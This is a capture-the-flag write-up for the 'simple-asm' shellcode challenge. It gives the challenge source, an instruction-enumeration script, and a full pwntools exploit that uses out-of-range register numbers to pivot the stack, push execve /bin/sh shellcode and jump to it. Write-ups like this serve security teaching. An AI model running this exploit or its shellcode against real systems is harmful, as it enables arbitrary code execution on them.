↓Skip to main content
  1. Posts/

CSR23 simple-asm Shellcode Challenge

Solution to the Cyber Security Rumble Finals challenge simple-asm.

The challenge is straightforward. It defines a custom set of instructions which get translated to x64 instructions directly and are then executed at a fixed offset in a non-PIE binary. The translator does not validate register numbers against the range supported by its instruction encodings. Out-of-range values can affect other parts of the encoding, producing unintended instructions.

This is the provided challenge source code, also running on the remote instance:

import os
import struct
import sys


def main():
    print("Input your code, followed by END", flush=True)

    # Read in code
    source = []
    while True:
        line = input()

        # Break at end
        if line == "END":
            break

        source.append(line)

    # Compile and execute code
    code = compile_asm(source)
    print("Executing code", flush=True)
    execute_shellcode(code)


def compile_asm(source):
    code = b""

    for line in source:
        # Skip empty lines and comments
        if not line:
            continue
        if line.strip().startswith("#"):
            continue

        # Split into mnemonic and operands
        instr, regs = line.split(maxsplit=1)
        regs = [parse_reg(r) for r in regs.split(",")]

        # Generate machine code
        match instr, regs:
            case "nul", [reg]:
                code += bytes([0x48, 0x31, 0xC0 | reg | (reg << 3)])
            case "inc", [reg]:
                code += bytes([0x48, 0xFF, 0xC0 | reg])
            case "add", [reg_dst, reg_src]:
                code += bytes([0x48, 0x01, 0xC0 | reg_dst | (reg_src << 3)])
            case _:
                print(f"Unknown instruction: {line}", flush=True)
                sys.exit()

    return code


def parse_reg(reg):
    # Parse register number
    reg = reg.strip()
    assert reg.startswith("r")
    return int(reg[1:])


def execute_shellcode(code):
    # Align code to multiple of page size
    if len(code) % 0x1000:
        code += b"\xcc" * (0x1000 - (len(code) % 0x1000))

    # Build ELF file in memory
    elf = b""

    # ELF header
    elf += b"\x7fELF\x02\x01\x01\x03\0\0\0\0\0\0\0\0\x02\0\x3e\0\x01\0\0\0\0\0\0\x01\0\0\0\0\x40\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x40\0\x38\0\x01\0\0\0\0\0\0\0"

    # Program header
    elf += b"\x01\0\0\0\x07\0\0\0\0\x10\0\0\0\0\0\0\0\0\0\x01\0\0\0\0\0\0\0\x01\0\0\0\0"
    elf += struct.pack("<Q", len(code)) * 2
    elf += b"\0\x10\0\0\0\0\0\0"

    # Pad to whole page
    elf = elf.ljust(0x1000, b"\0")

    # Shellcode
    elf += code

    # Put ELF into memfd
    memfd = os.memfd_create("sc")
    f = os.fdopen(memfd, mode="wb")
    f.write(elf)
    f.flush()

    # Execute memfd
    os.execve(memfd, ["sc"], {})


if __name__ == "__main__":
    main()

To know what we are working with, this script enumerates all pairs of “simple-asm” instruction to x64 instruction:

import pwn
from itertools import permutations
from typing import Iterable, Callable, Tuple

pwn.context.update(arch='amd64')


def nul(reg: int) -> bytes:
    return bytes([0x48, 0x31, 0xC0 | reg | (reg << 3)])


def inc(reg: int) -> bytes:
    return bytes([0x48, 0xFF, 0xC0 | reg])


def add(reg_src: int, reg_dst: int) -> bytes:
    return bytes([0x48, 0x01, 0xC0 | reg_dst | (reg_src << 3)])


byte = range(0x100)


def try_all(func: Callable) -> Iterable[Tuple[list, bytes]]:
    num_params = func.__code__.co_argcount
    for i in permutations(byte, num_params):
        try:
            disasm = pwn.disasm(func(*i))
            if '(bad)' not in disasm:
                yield i, disasm
        except ValueError:
            pass


for i in try_all(nul):
    print(i)
for i in try_all(inc):
    print(i)
for i in try_all(add):
    print(i)

From the output of the script we can see that we have xor rXX, rYY, inc rXX, dec rXX, rex.W call rXX, rex.W jmp rXX, rex.W push rXX and add rXX, rYY. This is a lot to work with, especially since we are running in a non-PIE binary which has RWX memory.

The plan for exploitation is the following: First, we build a primitive to write an arbitrary value in any register. We start by setting another register, say rbx, to one:

nul r11  # xor    rbx, rbx
inc r3   # inc    rbx rbx = 1

and then doubling it 64 times. Each time, we check if the value we want to write has a 1 at bit i. If so we add rbx, that at this point is 1 << i, to the target register.

Second, we set rsp into an executable area. Next, we push the shellcode in pieces of eight bytes backwards on our pivoted stack, by constructing each eight-byte value in a register with our first primitive. Last, we just need to jump to our shellcode by jumping to rsp.

We could optimize this at multiple points, e.g. by filling all registers at once, but size or execution time is not a concern of this challenge.

Here is the full exploit:

import pwn
from typing import List


pwn.context.update(arch='amd64')


def get_shellcode() -> List[int]:
    # short shellcode
    asm = b"j;X\x99H\xbb/bin//shRST_RWT^\x0f\x05"
    # shellcode as eight byte ints
    shellcode = [int.from_bytes(asm[i:i + 8],
                                byteorder='little',
                                signed=False)
                 for i in range(0, len(asm), 8)]
    return shellcode


def stackpivot() -> str:
    sc = 'nul r4\n'  # xor    rsp, rsp
    sc += 'inc r4\n'  # inc     rsp
    gadget = 'add r36, r0\n'  # add rsp, rsp
    for i in range(24):
        sc += gadget
    for i in range(500):
        sc += 'inc r4\n'  # inc rsp
    return sc


sc = stackpivot()

for inst in get_shellcode()[::-1]:
    sc += 'nul r11\n'  # xor    rbx, rbx
    sc += 'inc r3\n'   # inc    rbx (rbx = 1)
    sc += 'nul r13\n'  # xor    rbp, rbp
    for i in range(64):
        if inst & (1 << i):
            sc += 'add r29, r0\n'  # add rbp, rbx
        sc += 'add r27, r0\n'  # add rbx, rbx
    sc += 'inc r53\n'  # push rbp

sc += 'inc r228\n'  # jmp rsp
sc += 'END\n'

p = pwn.process(['python3', 'simple_asm.py'])
p.send(sc)
p.interactive()